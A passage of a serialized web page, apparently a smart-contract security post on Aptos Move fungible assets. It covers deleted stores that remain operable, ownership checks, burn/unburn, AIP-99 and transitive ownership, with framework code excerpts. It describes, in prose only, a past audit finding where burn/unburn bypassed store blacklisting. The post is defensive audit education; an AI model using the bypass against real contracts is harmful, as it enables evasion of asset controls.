",{"type":25,"tag":264,"props":76516,"children":76518},{"className":76517},[],[76519],{"type":30,"value":61967},{"type":30,"value":76521}," underneath, causing the operation to fail.",{"type":25,"tag":7764,"props":76523,"children":76525},{"className":13586,"code":76524,"language":13585,"meta":7,"style":7},"public fun remove_store(delete_ref: &DeleteRef) acquires [...] {\n    let store = &object::object_from_delete_ref\u003CFungibleStore>(delete_ref);\n    [...]\n}\n",[76526],{"type":25,"tag":264,"props":76527,"children":76528},{"__ignoreMap":7},[76529,76584,76636,76651],{"type":25,"tag":271,"props":76530,"children":76531},{"class":13593,"line":13594},[76532,76536,76540,76544,76548,76552,76556,76560,76564,76568,76572,76576,76580],{"type":25,"tag":271,"props":76533,"children":76534},{"style":13598},[76535],{"type":30,"value":10331},{"type":25,"tag":271,"props":76537,"children":76538},{"style":13598},[76539],{"type":30,"value":19335},{"type":25,"tag":271,"props":76541,"children":76542},{"style":13620},[76543],{"type":30,"value":76385},{"type":25,"tag":271,"props":76545,"children":76546},{"style":13625},[76547],{"type":30,"value":394},{"type":25,"tag":271,"props":76549,"children":76550},{"style":13598},[76551],{"type":30,"value":76394},{"type":25,"tag":271,"props":76553,"children":76554},{"style":13603},[76555],{"type":30,"value":359},{"type":25,"tag":271,"props":76557,"children":76558},{"style":13603},[76559],{"type":30,"value":14341},{"type":25,"tag":271,"props":76561,"children":76562},{"style":13609},[76563],{"type":30,"value":76407},{"type":25,"tag":271,"props":76565,"children":76566},{"style":13625},[76567],{"type":30,"value":14406},{"type":25,"tag":271,"props":76569,"children":76570},{"style":13598},[76571],{"type":30,"value":19472},{"type":25,"tag":271,"props":76573,"children":76574},{"style":13625},[76575],{"type":30,"value":36132},{"type":25,"tag":271,"props":76577,"children":76578},{"style":13603},[76579],{"type":30,"value":22714},{"type":25,"tag":271,"props":76581,"children":76582},{"style":13625},[76583],{"type":30,"value":74881},{"type":25,"tag":271,"props":76585,"children":76586},{"class":13593,"line":11641},[76587,76591,76595,76599,76603,76607,76611,76616,76620,76624,76628,76632],{"type":25,"tag":271,"props":76588,"children":76589},{"style":14289},[76590],{"type":30,"value":16140},{"type":25,"tag":271,"props":76592,"children":76593},{"style":13598},[76594],{"type":30,"value":18962},{"type":25,"tag":271,"props":76596,"children":76597},{"style":13603},[76598],{"type":30,"value":16155},{"type":25,"tag":271,"props":76600,"children":76601},{"style":13603},[76602],{"type":30,"value":14341},{"type":25,"tag":271,"props":76604,"children":76605},{"style":13625},[76606],{"type":30,"value":76024},{"type":25,"tag":271,"props":76608,"children":76609},{"style":13603},[76610],{"type":30,"value":13617},{"type":25,"tag":271,"props":76612,"children":76613},{"style":13598},[76614],{"type":30,"value":76615},"object_from_delete_ref",{"type":25,"tag":271,"props":76617,"children":76618},{"style":13625},[76619],{"type":30,"value":14307},{"type":25,"tag":271,"props":76621,"children":76622},{"style":13609},[76623],{"type":30,"value":75190},{"type":25,"tag":271,"props":76625,"children":76626},{"style":13625},[76627],{"type":30,"value":20732},{"type":25,"tag":271,"props":76629,"children":76630},{"style":13598},[76631],{"type":30,"value":76394},{"type":25,"tag":271,"props":76633,"children":76634},{"style":13625},[76635],{"type":30,"value":13665},{"type":25,"tag":271,"props":76637,"children":76638},{"class":13593,"line":14354},[76639,76643,76647],{"type":25,"tag":271,"props":76640,"children":76641},{"style":13625},[76642],{"type":30,"value":75832},{"type":25,"tag":271,"props":76644,"children":76645},{"style":13603},[76646],{"type":30,"value":22714},{"type":25,"tag":271,"props":76648,"children":76649},{"style":13625},[76650],{"type":30,"value":24897},{"type":25,"tag":271,"props":76652,"children":76653},{"class":13593,"line":14391},[76654],{"type":25,"tag":271,"props":76655,"children":76656},{"style":13625},[76657],{"type":30,"value":17058},{"type":25,"tag":26,"props":76659,"children":76660},{},[76661,76663,76668,76670,76676,76678,76683],{"type":30,"value":76662},"In addition, such \"deleted\" ",{"type":25,"tag":264,"props":76664,"children":76666},{"className":76665},[],[76667],{"type":30,"value":75190},{"type":30,"value":76669}," objects remain at least partially operable. For instance, ",{"type":25,"tag":264,"props":76671,"children":76673},{"className":76672},[],[76674],{"type":30,"value":76675},"fungible_asset::deposit",{"type":30,"value":76677}," does not check the ",{"type":25,"tag":264,"props":76679,"children":76681},{"className":76680},[],[76682],{"type":30,"value":61967},{"type":30,"value":76684}," existence.",{"type":25,"tag":247,"props":76686,"children":76688},{"id":76687},"ownership",[76689],{"type":30,"value":76690},"Ownership",{"type":25,"tag":26,"props":76692,"children":76693},{},[76694,76696,76701,76703,76709,76711,76716],{"type":30,"value":76695},"Each object has an owner. Fungible assets rely on the ",{"type":25,"tag":264,"props":76697,"children":76699},{"className":76698},[],[76700],{"type":30,"value":61967},{"type":30,"value":76702}," ownership model. For example, during a withdrawal operation, the signer is validated using ",{"type":25,"tag":264,"props":76704,"children":76706},{"className":76705},[],[76707],{"type":30,"value":76708},"object::owns",{"type":30,"value":76710}," to confirm ownership of the ",{"type":25,"tag":264,"props":76712,"children":76714},{"className":76713},[],[76715],{"type":30,"value":75190},{"type":30,"value":63292},{"type":25,"tag":7764,"props":76718,"children":76720},{"className":13586,"code":76719,"language":13585,"meta":7,"style":7},"public(friend) fun withdraw_sanity_check\u003CT: key>(\n    owner: &signer,\n    store: Object\u003CT>,\n    abort_on_dispatch: bool,\n) acquires FungibleStore, DispatchFunctionStore {\n    assert!(object::owns(store, signer::address_of(owner)), error::permission_denied(ENOT_STORE_OWNER));\n    [...]\n}\n",[76721],{"type":25,"tag":264,"props":76722,"children":76723},{"__ignoreMap":7},[76724,76772,76796,76823,76843,76871,76939,76954],{"type":25,"tag":271,"props":76725,"children":76726},{"class":13593,"line":13594},[76727,76731,76735,76739,76743,76747,76752,76756,76760,76764,76768],{"type":25,"tag":271,"props":76728,"children":76729},{"style":13620},[76730],{"type":30,"value":10331},{"type":25,"tag":271,"props":76732,"children":76733},{"style":13625},[76734],{"type":30,"value":394},{"type":25,"tag":271,"props":76736,"children":76737},{"style":13598},[76738],{"type":30,"value":20222},{"type":25,"tag":271,"props":76740,"children":76741},{"style":13625},[76742],{"type":30,"value":14406},{"type":25,"tag":271,"props":76744,"children":76745},{"style":13598},[76746],{"type":30,"value":20231},{"type":25,"tag":271,"props":76748,"children":76749},{"style":13598},[76750],{"type":30,"value":76751}," withdraw_sanity_check",{"type":25,"tag":271,"props":76753,"children":76754},{"style":13625},[76755],{"type":30,"value":14307},{"type":25,"tag":271,"props":76757,"children":76758},{"style":13609},[76759],{"type":30,"value":301},{"type":25,"tag":271,"props":76761,"children":76762},{"style":13603},[76763],{"type":30,"value":359},{"type":25,"tag":271,"props":76765,"children":76766},{"style":13598},[76767],{"type":30,"value":19063},{"type":25,"tag":271,"props":76769,"children":76770},{"style":13625},[76771],{"type":30,"value":14324},{"type":25,"tag":271,"props":76773,"children":76774},{"class":13593,"line":11641},[76775,76780,76784,76788,76792],{"type":25,"tag":271,"props":76776,"children":76777},{"style":13598},[76778],{"type":30,"value":76779},"    owner",{"type":25,"tag":271,"props":76781,"children":76782},{"style":13603},[76783],{"type":30,"value":359},{"type":25,"tag":271,"props":76785,"children":76786},{"style":13603},[76787],{"type":30,"value":14341},{"type":25,"tag":271,"props":76789,"children":76790},{"style":13598},[76791],{"type":30,"value":20269},{"type":25,"tag":271,"props":76793,"children":76794},{"style":13625},[76795],{"type":30,"value":14351},{"type":25,"tag":271,"props":76797,"children":76798},{"class":13593,"line":14354},[76799,76803,76807,76811,76815,76819],{"type":25,"tag":271,"props":76800,"children":76801},{"style":13598},[76802],{"type":30,"value":42526},{"type":25,"tag":271,"props":76804,"children":76805},{"style":13603},[76806],{"type":30,"value":359},{"type":25,"tag":271,"props":76808,"children":76809},{"style":13609},[76810],{"type":30,"value":74677},{"type":25,"tag":271,"props":76812,"children":76813},{"style":13625},[76814],{"type":30,"value":14307},{"type":25,"tag":271,"props":76816,"children":76817},{"style":13609},[76818],{"type":30,"value":301},{"type":25,"tag":271,"props":76820,"children":76821},{"style":13625},[76822],{"type":30,"value":19267},{"type":25,"tag":271,"props":76824,"children":76825},{"class":13593,"line":14391},[76826,76831,76835,76839],{"type":25,"tag":271,"props":76827,"children":76828},{"style":13598},[76829],{"type":30,"value":76830},"    abort_on_dispatch",{"type":25,"tag":271,"props":76832,"children":76833},{"style":13603},[76834],{"type":30,"value":359},{"type":25,"tag":271,"props":76836,"children":76837},{"style":13609},[76838],{"type":30,"value":25175},{"type":25,"tag":271,"props":76840,"children":76841},{"style":13625},[76842],{"type":30,"value":14351},{"type":25,"tag":271,"props":76844,"children":76845},{"class":13593,"line":14400},[76846,76850,76854,76858,76862,76867],{"type":25,"tag":271,"props":76847,"children":76848},{"style":13625},[76849],{"type":30,"value":14406},{"type":25,"tag":271,"props":76851,"children":76852},{"style":13598},[76853],{"type":30,"value":19472},{"type":25,"tag":271,"props":76855,"children":76856},{"style":13609},[76857],{"type":30,"value":75210},{"type":25,"tag":271,"props":76859,"children":76860},{"style":13625},[76861],{"type":30,"value":44},{"type":25,"tag":271,"props":76863,"children":76864},{"style":13609},[76865],{"type":30,"value":76866},"DispatchFunctionStore",{"type":25,"tag":271,"props":76868,"children":76869},{"style":13625},[76870],{"type":30,"value":16431},{"type":25,"tag":271,"props":76872,"children":76873},{"class":13593,"line":16406},[76874,76878,76883,76887,76892,76896,76900,76904,76908,76912,76916,76920,76925,76929,76934],{"type":25,"tag":271,"props":76875,"children":76876},{"style":13620},[76877],{"type":30,"value":75458},{"type":25,"tag":271,"props":76879,"children":76880},{"style":13625},[76881],{"type":30,"value":76882},"(object",{"type":25,"tag":271,"props":76884,"children":76885},{"style":13603},[76886],{"type":30,"value":13617},{"type":25,"tag":271,"props":76888,"children":76889},{"style":13620},[76890],{"type":30,"value":76891},"owns",{"type":25,"tag":271,"props":76893,"children":76894},{"style":13625},[76895],{"type":30,"value":394},{"type":25,"tag":271,"props":76897,"children":76898},{"style":13598},[76899],{"type":30,"value":19072},{"type":25,"tag":271,"props":76901,"children":76902},{"style":13625},[76903],{"type":30,"value":26061},{"type":25,"tag":271,"props":76905,"children":76906},{"style":13603},[76907],{"type":30,"value":13617},{"type":25,"tag":271,"props":76909,"children":76910},{"style":13620},[76911],{"type":30,"value":20332},{"type":25,"tag":271,"props":76913,"children":76914},{"style":13625},[76915],{"type":30,"value":394},{"type":25,"tag":271,"props":76917,"children":76918},{"style":13598},[76919],{"type":30,"value":28731},{"type":25,"tag":271,"props":76921,"children":76922},{"style":13625},[76923],{"type":30,"value":76924},")), error",{"type":25,"tag":271,"props":76926,"children":76927},{"style":13603},[76928],{"type":30,"value":13617},{"type":25,"tag":271,"props":76930,"children":76931},{"style":13620},[76932],{"type":30,"value":76933},"permission_denied",{"type":25,"tag":271,"props":76935,"children":76936},{"style":13625},[76937],{"type":30,"value":76938},"(ENOT_STORE_OWNER));\n",{"type":25,"tag":271,"props":76940,"children":76941},{"class":13593,"line":16434},[76942,76946,76950],{"type":25,"tag":271,"props":76943,"children":76944},{"style":13625},[76945],{"type":30,"value":75832},{"type":25,"tag":271,"props":76947,"children":76948},{"style":13603},[76949],{"type":30,"value":22714},{"type":25,"tag":271,"props":76951,"children":76952},{"style":13625},[76953],{"type":30,"value":24897},{"type":25,"tag":271,"props":76955,"children":76956},{"class":13593,"line":16447},[76957],{"type":25,"tag":271,"props":76958,"children":76959},{"style":13625},[76960],{"type":30,"value":17058},{"type":25,"tag":26,"props":76962,"children":76963},{},[76964,76966,76971,76973,76979,76981,76987],{"type":30,"value":76965},"The thing to note is that defining ownership with ",{"type":25,"tag":264,"props":76967,"children":76969},{"className":76968},[],[76970],{"type":30,"value":76708},{"type":30,"value":76972}," can be tricky. The ",{"type":25,"tag":264,"props":76974,"children":76976},{"className":76975},[],[76977],{"type":30,"value":76978},"burn",{"type":30,"value":76980}," function was one of the reasons behind that. It allowed changing the object's owner to the ",{"type":25,"tag":264,"props":76982,"children":76984},{"className":76983},[],[76985],{"type":30,"value":76986},"BURN_ADDRESS",{"type":30,"value":76988}," while bypassing transfer restrictions:",{"type":25,"tag":7764,"props":76990,"children":76992},{"className":13586,"code":76991,"language":13585,"meta":7,"style":7},"public entry fun burn\u003CT: key>(owner: &signer, object: Object\u003CT>) acquires ObjectCore {\n    let original_owner = signer::address_of(owner);\n    assert!(is_owner(object, original_owner), error::permission_denied(ENOT_OBJECT_OWNER));\n    let object_addr = object.inner;\n    move_to(&create_signer(object_addr), TombStone { original_owner });\n    transfer_raw_inner(object_addr, BURN_ADDRESS);\n}\n",[76993],{"type":25,"tag":264,"props":76994,"children":76995},{"__ignoreMap":7},[76996,77093,77134,77184,77213,77263,77284],{"type":25,"tag":271,"props":76997,"children":76998},{"class":13593,"line":13594},[76999,77003,77007,77011,77016,77020,77024,77028,77032,77036,77040,77044,77048,77052,77056,77060,77064,77068,77072,77076,77080,77084,77089],{"type":25,"tag":271,"props":77000,"children":77001},{"style":13598},[77002],{"type":30,"value":10331},{"type":25,"tag":271,"props":77004,"children":77005},{"style":13598},[77006],{"type":30,"value":75756},{"type":25,"tag":271,"props":77008,"children":77009},{"style":13598},[77010],{"type":30,"value":19335},{"type":25,"tag":271,"props":77012,"children":77013},{"style":13598},[77014],{"type":30,"value":77015}," burn",{"type":25,"tag":271,"props":77017,"children":77018},{"style":13625},[77019],{"type":30,"value":14307},{"type":25,"tag":271,"props":77021,"children":77022},{"style":13609},[77023],{"type":30,"value":301},{"type":25,"tag":271,"props":77025,"children":77026},{"style":13603},[77027],{"type":30,"value":359},{"type":25,"tag":271,"props":77029,"children":77030},{"style":13598},[77031],{"type":30,"value":19063},{"type":25,"tag":271,"props":77033,"children":77034},{"style":13625},[77035],{"type":30,"value":20732},{"type":25,"tag":271,"props":77037,"children":77038},{"style":13598},[77039],{"type":30,"value":28731},{"type":25,"tag":271,"props":77041,"children":77042},{"style":13603},[77043],{"type":30,"value":359},{"type":25,"tag":271,"props":77045,"children":77046},{"style":13603},[77047],{"type":30,"value":14341},{"type":25,"tag":271,"props":77049,"children":77050},{"style":13598},[77051],{"type":30,"value":20269},{"type":25,"tag":271,"props":77053,"children":77054},{"style":13625},[77055],{"type":30,"value":44},{"type":25,"tag":271,"props":77057,"children":77058},{"style":13598},[77059],{"type":30,"value":76024},{"type":25,"tag":271,"props":77061,"children":77062},{"style":13603},[77063],{"type":30,"value":359},{"type":25,"tag":271,"props":77065,"children":77066},{"style":13609},[77067],{"type":30,"value":74677},{"type":25,"tag":271,"props":77069,"children":77070},{"style":13625},[77071],{"type":30,"value":14307},{"type":25,"tag":271,"props":77073,"children":77074},{"style":13609},[77075],{"type":30,"value":301},{"type":25,"tag":271,"props":77077,"children":77078},{"style":13625},[77079],{"type":30,"value":33567},{"type":25,"tag":271,"props":77081,"children":77082},{"style":13598},[77083],{"type":30,"value":19472},{"type":25,"tag":271,"props":77085,"children":77086},{"style":13609},[77087],{"type":30,"value":77088}," ObjectCore",{"type":25,"tag":271,"props":77090,"children":77091},{"style":13625},[77092],{"type":30,"value":16431},{"type":25,"tag":271,"props":77094,"children":77095},{"class":13593,"line":11641},[77096,77100,77105,77109,77114,77118,77122,77126,77130],{"type":25,"tag":271,"props":77097,"children":77098},{"style":14289},[77099],{"type":30,"value":16140},{"type":25,"tag":271,"props":77101,"children":77102},{"style":13598},[77103],{"type":30,"value":77104}," original_owner",{"type":25,"tag":271,"props":77106,"children":77107},{"style":13603},[77108],{"type":30,"value":16155},{"type":25,"tag":271,"props":77110,"children":77111},{"style":13625},[77112],{"type":30,"value":77113}," signer",{"type":25,"tag":271,"props":77115,"children":77116},{"style":13603},[77117],{"type":30,"value":13617},{"type":25,"tag":271,"props":77119,"children":77120},{"style":13620},[77121],{"type":30,"value":20332},{"type":25,"tag":271,"props":77123,"children":77124},{"style":13625},[77125],{"type":30,"value":394},{"type":25,"tag":271,"props":77127,"children":77128},{"style":13598},[77129],{"type":30,"value":28731},{"type":25,"tag":271,"props":77131,"children":77132},{"style":13625},[77133],{"type":30,"value":13665},{"type":25,"tag":271,"props":77135,"children":77136},{"class":13593,"line":14354},[77137,77141,77145,77150,77154,77158,77162,77167,77171,77175,77179],{"type":25,"tag":271,"props":77138,"children":77139},{"style":13620},[77140],{"type":30,"value":75458},{"type":25,"tag":271,"props":77142,"children":77143},{"style":13625},[77144],{"type":30,"value":394},{"type":25,"tag":271,"props":77146,"children":77147},{"style":13620},[77148],{"type":30,"value":77149},"is_owner",{"type":25,"tag":271,"props":77151,"children":77152},{"style":13625},[77153],{"type":30,"value":394},{"type":25,"tag":271,"props":77155,"children":77156},{"style":13598},[77157],{"type":30,"value":76024},{"type":25,"tag":271,"props":77159,"children":77160},{"style":13625},[77161],{"type":30,"value":44},{"type":25,"tag":271,"props":77163,"children":77164},{"style":13598},[77165],{"type":30,"value":77166},"original_owner",{"type":25,"tag":271,"props":77168,"children":77169},{"style":13625},[77170],{"type":30,"value":76047},{"type":25,"tag":271,"props":77172,"children":77173},{"style":13603},[77174],{"type":30,"value":13617},{"type":25,"tag":271,"props":77176,"children":77177},{"style":13620},[77178],{"type":30,"value":76933},{"type":25,"tag":271,"props":77180,"children":77181},{"style":13625},[77182],{"type":30,"value":77183},"(ENOT_OBJECT_OWNER));\n",{"type":25,"tag":271,"props":77185,"children":77186},{"class":13593,"line":14391},[77187,77191,77196,77200,77204,77208],{"type":25,"tag":271,"props":77188,"children":77189},{"style":14289},[77190],{"type":30,"value":16140},{"type":25,"tag":271,"props":77192,"children":77193},{"style":13598},[77194],{"type":30,"value":77195}," object_addr",{"type":25,"tag":271,"props":77197,"children":77198},{"style":13603},[77199],{"type":30,"value":16155},{"type":25,"tag":271,"props":77201,"children":77202},{"style":13598},[77203],{"type":30,"value":75608},{"type":25,"tag":271,"props":77205,"children":77206},{"style":13603},[77207],{"type":30,"value":1860},{"type":25,"tag":271,"props":77209,"children":77210},{"style":13625},[77211],{"type":30,"value":77212},"inner;\n",{"type":25,"tag":271,"props":77214,"children":77215},{"class":13593,"line":14400},[77216,77220,77224,77228,77233,77237,77242,77246,77251,77255,77259],{"type":25,"tag":271,"props":77217,"children":77218},{"style":13620},[77219],{"type":30,"value":76211},{"type":25,"tag":271,"props":77221,"children":77222},{"style":13625},[77223],{"type":30,"value":394},{"type":25,"tag":271,"props":77225,"children":77226},{"style":13603},[77227],{"type":30,"value":13632},{"type":25,"tag":271,"props":77229,"children":77230},{"style":13620},[77231],{"type":30,"value":77232},"create_signer",{"type":25,"tag":271,"props":77234,"children":77235},{"style":13625},[77236],{"type":30,"value":394},{"type":25,"tag":271,"props":77238,"children":77239},{"style":13598},[77240],{"type":30,"value":77241},"object_addr",{"type":25,"tag":271,"props":77243,"children":77244},{"style":13625},[77245],{"type":30,"value":28299},{"type":25,"tag":271,"props":77247,"children":77248},{"style":13609},[77249],{"type":30,"value":77250},"TombStone",{"type":25,"tag":271,"props":77252,"children":77253},{"style":13625},[77254],{"type":30,"value":22709},{"type":25,"tag":271,"props":77256,"children":77257},{"style":13598},[77258],{"type":30,"value":77166},{"type":25,"tag":271,"props":77260,"children":77261},{"style":13625},[77262],{"type":30,"value":51945},{"type":25,"tag":271,"props":77264,"children":77265},{"class":13593,"line":16406},[77266,77271,77275,77279],{"type":25,"tag":271,"props":77267,"children":77268},{"style":13620},[77269],{"type":30,"value":77270},"    transfer_raw_inner",{"type":25,"tag":271,"props":77272,"children":77273},{"style":13625},[77274],{"type":30,"value":394},{"type":25,"tag":271,"props":77276,"children":77277},{"style":13598},[77278],{"type":30,"value":77241},{"type":25,"tag":271,"props":77280,"children":77281},{"style":13625},[77282],{"type":30,"value":77283},", BURN_ADDRESS);\n",{"type":25,"tag":271,"props":77285,"children":77286},{"class":13593,"line":16434},[77287],{"type":25,"tag":271,"props":77288,"children":77289},{"style":13625},[77290],{"type":30,"value":17058},{"type":25,"tag":26,"props":77292,"children":77293},{},[77294,77300,77302,77307,77308,77315,77317,77322],{"type":25,"tag":264,"props":77295,"children":77297},{"className":77296},[],[77298],{"type":30,"value":77299},"unburn",{"type":30,"value":77301}," is a way to restore the previous object owner. In a past audit, this mechanism could be exploited to bypass fungible store owner blacklisting by temporarily setting ownership to the unblacklisted ",{"type":25,"tag":264,"props":77303,"children":77305},{"className":77304},[],[77306],{"type":30,"value":76986},{"type":30,"value":31653},{"type":25,"tag":83,"props":77309,"children":77312},{"href":77310,"rel":77311},"https://github.com/aptos-foundation/AIPs/blob/main/aips/aip-99.md",[9066],[77313],{"type":30,"value":77314},"AIP-99",{"type":30,"value":77316}," is a proposal to roll back the ",{"type":25,"tag":264,"props":77318,"children":77320},{"className":77319},[],[77321],{"type":30,"value":76978},{"type":30,"value":77323}," feature, but previously burned objects will remain restorable.",{"type":25,"tag":16074,"props":77325,"children":77326},{},[77327],{"type":25,"tag":26,"props":77328,"children":77329},{},[77330,77332,77336],{"type":30,"value":77331},"This ",{"type":25,"tag":271,"props":77333,"children":77334},{},[77335],{"type":30,"value":77314},{"type":30,"value":77337}," seeks to disable safe object burn, as it caused extra complexity, and sometimes unexpected consequences. As a result of this AIP, users will still be able to unburn their burnt objects, but will not be able to burn any new objects.",{"type":25,"tag":26,"props":77339,"children":77340},{},[77341,77343,77349,77351,77356,77358,77363],{"type":30,"value":77342},"Another important thing is that ",{"type":25,"tag":264,"props":77344,"children":77346},{"className":77345},[],[77347],{"type":30,"value":77348},"fungible_asset::set_untransferable",{"type":30,"value":77350}," can be used to make all new ",{"type":25,"tag":264,"props":77352,"children":77354},{"className":77353},[],[77355],{"type":30,"value":75694},{"type":30,"value":77357}," for this asset untransferable, preventing ownership changes. However, this restriction doesn't apply to the parent object, allowing a transferable parent to be moved even if it owns a non-transferable ",{"type":25,"tag":264,"props":77359,"children":77361},{"className":77360},[],[77362],{"type":30,"value":75190},{"type":30,"value":1860},{"type":25,"tag":26,"props":77365,"children":77366},{},[77367,77369,77374,77376,77382,77384,77389,77391,77396],{"type":30,"value":77368},"Do we need to care about this case? We do, because ownership is transitive. If entity X owns an object that owns a ",{"type":25,"tag":264,"props":77370,"children":77372},{"className":77371},[],[77373],{"type":30,"value":75190},{"type":30,"value":77375},", X can withdraw from that store. This is because ",{"type":25,"tag":264,"props":77377,"children":77379},{"className":77378},[],[77380],{"type":30,"value":77381},"fungible_asset::withdraw",{"type":30,"value":77383}," uses ",{"type":25,"tag":264,"props":77385,"children":77387},{"className":77386},[],[77388],{"type":30,"value":76708},{"type":30,"value":77390}," to verify both direct and indirect ownership of the ",{"type":25,"tag":264,"props":77392,"children":77394},{"className":77393},[],[77395],{"type":30,"value":75190},{"type":30,"value":63292},{"type":25,"tag":7764,"props":77398,"children":77400},{"className":13586,"code":77399,"language":13585,"meta":7,"style":7},"fun verify_ungated_and_descendant(owner: address, destination: address) acquires ObjectCore {\n        [...]\n    while (owner != current_address) {\n        count = count + 1;\n        [...]\n        assert!(\n            exists\u003CObjectCore>(current_address),\n            error::permission_denied(ENOT_OBJECT_OWNER),\n        );\n        let object = borrow_global\u003CObjectCore>(current_address);\n        current_address = object.owner;\n    };\n}\n",[77401],{"type":25,"tag":264,"props":77402,"children":77403},{"__ignoreMap":7},[77404,77465,77481,77511,77540,77555,77567,77597,77618,77625,77665,77690,77697],{"type":25,"tag":271,"props":77405,"children":77406},{"class":13593,"line":13594},[77407,77411,77416,77420,77424,77428,77432,77436,77441,77445,77449,77453,77457,77461],{"type":25,"tag":271,"props":77408,"children":77409},{"style":13598},[77410],{"type":30,"value":20231},{"type":25,"tag":271,"props":77412,"children":77413},{"style":13620},[77414],{"type":30,"value":77415}," verify_ungated_and_descendant",{"type":25,"tag":271,"props":77417,"children":77418},{"style":13625},[77419],{"type":30,"value":394},{"type":25,"tag":271,"props":77421,"children":77422},{"style":13598},[77423],{"type":30,"value":28731},{"type":25,"tag":271,"props":77425,"children":77426},{"style":13603},[77427],{"type":30,"value":359},{"type":25,"tag":271,"props":77429,"children":77430},{"style":13598},[77431],{"type":30,"value":19378},{"type":25,"tag":271,"props":77433,"children":77434},{"style":13625},[77435],{"type":30,"value":44},{"type":25,"tag":271,"props":77437,"children":77438},{"style":13598},[77439],{"type":30,"value":77440},"destination",{"type":25,"tag":271,"props":77442,"children":77443},{"style":13603},[77444],{"type":30,"value":359},{"type":25,"tag":271,"props":77446,"children":77447},{"style":13598},[77448],{"type":30,"value":19378},{"type":25,"tag":271,"props":77450,"children":77451},{"style":13625},[77452],{"type":30,"value":14406},{"type":25,"tag":271,"props":77454,"children":77455},{"style":13598},[77456],{"type":30,"value":19472},{"type":25,"tag":271,"props":77458,"children":77459},{"style":13609},[77460],{"type":30,"value":77088},{"type":25,"tag":271,"props":77462,"children":77463},{"style":13625},[77464],{"type":30,"value":16431},{"type":25,"tag":271,"props":77466,"children":77467},{"class":13593,"line":11641},[77468,77473,77477],{"type":25,"tag":271,"props":77469,"children":77470},{"style":13625},[77471],{"type":30,"value":77472},"        [",{"type":25,"tag":271,"props":77474,"children":77475},{"style":13603},[77476],{"type":30,"value":22714},{"type":25,"tag":271,"props":77478,"children":77479},{"style":13625},[77480],{"type":30,"value":24897},{"type":25,"tag":271,"props":77482,"children":77483},{"class":13593,"line":14354},[77484,77489,77493,77497,77502,77507],{"type":25,"tag":271,"props":77485,"children":77486},{"style":16171},[77487],{"type":30,"value":77488},"    while",{"type":25,"tag":271,"props":77490,"children":77491},{"style":13625},[77492],{"type":30,"value":16213},{"type":25,"tag":271,"props":77494,"children":77495},{"style":13598},[77496],{"type":30,"value":28731},{"type":25,"tag":271,"props":77498,"children":77499},{"style":13603},[77500],{"type":30,"value":77501}," !=",{"type":25,"tag":271,"props":77503,"children":77504},{"style":13598},[77505],{"type":30,"value":77506}," current_address",{"type":25,"tag":271,"props":77508,"children":77509},{"style":13625},[77510],{"type":30,"value":27925},{"type":25,"tag":271,"props":77512,"children":77513},{"class":13593,"line":14391},[77514,77519,77523,77528,77532,77536],{"type":25,"tag":271,"props":77515,"children":77516},{"style":13598},[77517],{"type":30,"value":77518},"        count",{"type":25,"tag":271,"props":77520,"children":77521},{"style":13603},[77522],{"type":30,"value":16155},{"type":25,"tag":271,"props":77524,"children":77525},{"style":13598},[77526],{"type":30,"value":77527}," count",{"type":25,"tag":271,"props":77529,"children":77530},{"style":13603},[77531],{"type":30,"value":22025},{"type":25,"tag":271,"props":77533,"children":77534},{"style":16187},[77535],{"type":30,"value":17654},{"type":25,"tag":271,"props":77537,"children":77538},{"style":13625},[77539],{"type":30,"value":16165},{"type":25,"tag":271,"props":77541,"children":77542},{"class":13593,"line":14400},[77543,77547,77551],{"type":25,"tag":271,"props":77544,"children":77545},{"style":13625},[77546],{"type":30,"value":77472},{"type":25,"tag":271,"props":77548,"children":77549},{"style":13603},[77550],{"type":30,"value":22714},{"type":25,"tag":271,"props":77552,"children":77553},{"style":13625},[77554],{"type":30,"value":24897},{"type":25,"tag":271,"props":77556,"children":77557},{"class":13593,"line":16406},[77558,77563],{"type":25,"tag":271,"props":77559,"children":77560},{"style":13620},[77561],{"type":30,"value":77562},"        assert!",{"type":25,"tag":271,"props":77564,"children":77565},{"style":13625},[77566],{"type":30,"value":16609},{"type":25,"tag":271,"props":77568,"children":77569},{"class":13593,"line":16434},[77570,77575,77579,77584,77588,77593],{"type":25,"tag":271,"props":77571,"children":77572},{"style":13598},[77573],{"type":30,"value":77574},"            exists",{"type":25,"tag":271,"props":77576,"children":77577},{"style":13625},[77578],{"type":30,"value":14307},{"type":25,"tag":271,"props":77580,"children":77581},{"style":13609},[77582],{"type":30,"value":77583},"ObjectCore",{"type":25,"tag":271,"props":77585,"children":77586},{"style":13625},[77587],{"type":30,"value":20732},{"type":25,"tag":271,"props":77589,"children":77590},{"style":13598},[77591],{"type":30,"value":77592},"current_address",{"type":25,"tag":271,"props":77594,"children":77595},{"style":13625},[77596],{"type":30,"value":19860},{"type":25,"tag":271,"props":77598,"children":77599},{"class":13593,"line":16447},[77600,77605,77609,77613],{"type":25,"tag":271,"props":77601,"children":77602},{"style":13625},[77603],{"type":30,"value":77604},"            error",{"type":25,"tag":271,"props":77606,"children":77607},{"style":13603},[77608],{"type":30,"value":13617},{"type":25,"tag":271,"props":77610,"children":77611},{"style":13620},[77612],{"type":30,"value":76933},{"type":25,"tag":271,"props":77614,"children":77615},{"style":13625},[77616],{"type":30,"value":77617},"(ENOT_OBJECT_OWNER),\n",{"type":25,"tag":271,"props":77619,"children":77620},{"class":13593,"line":16465},[77621],{"type":25,"tag":271,"props":77622,"children":77623},{"style":13625},[77624],{"type":30,"value":20865},{"type":25,"tag":271,"props":77626,"children":77627},{"class":13593,"line":16486},[77628,77632,77636,77640,77645,77649,77653,77657,77661],{"type":25,"tag":271,"props":77629,"children":77630},{"style":14289},[77631],{"type":30,"value":16208},{"type":25,"tag":271,"props":77633,"children":77634},{"style":13598},[77635],{"type":30,"value":75608},{"type":25,"tag":271,"props":77637,"children":77638},{"style":13603},[77639],{"type":30,"value":16155},{"type":25,"tag":271,"props":77641,"children":77642},{"style":13598},[77643],{"type":30,"value":77644}," borrow_global",{"type":25,"tag":271,"props":77646,"children":77647},{"style":13625},[77648],{"type":30,"value":14307},{"type":25,"tag":271,"props":77650,"children":77651},{"style":13609},[77652],{"type":30,"value":77583},{"type":25,"tag":271,"props":77654,"children":77655},{"style":13625},[77656],{"type":30,"value":20732},{"type":25,"tag":271,"props":77658,"children":77659},{"style":13598},[77660],{"type":30,"value":77592},{"type":25,"tag":271,"props":77662,"children":77663},{"style":13625},[77664],{"type":30,"value":13665},{"type":25,"tag":271,"props":77666,"children":77667},{"class":13593,"line":16495},[77668,77673,77677,77681,77685],{"type":25,"tag":271,"props":77669,"children":77670},{"style":13598},[77671],{"type":30,"value":77672},"        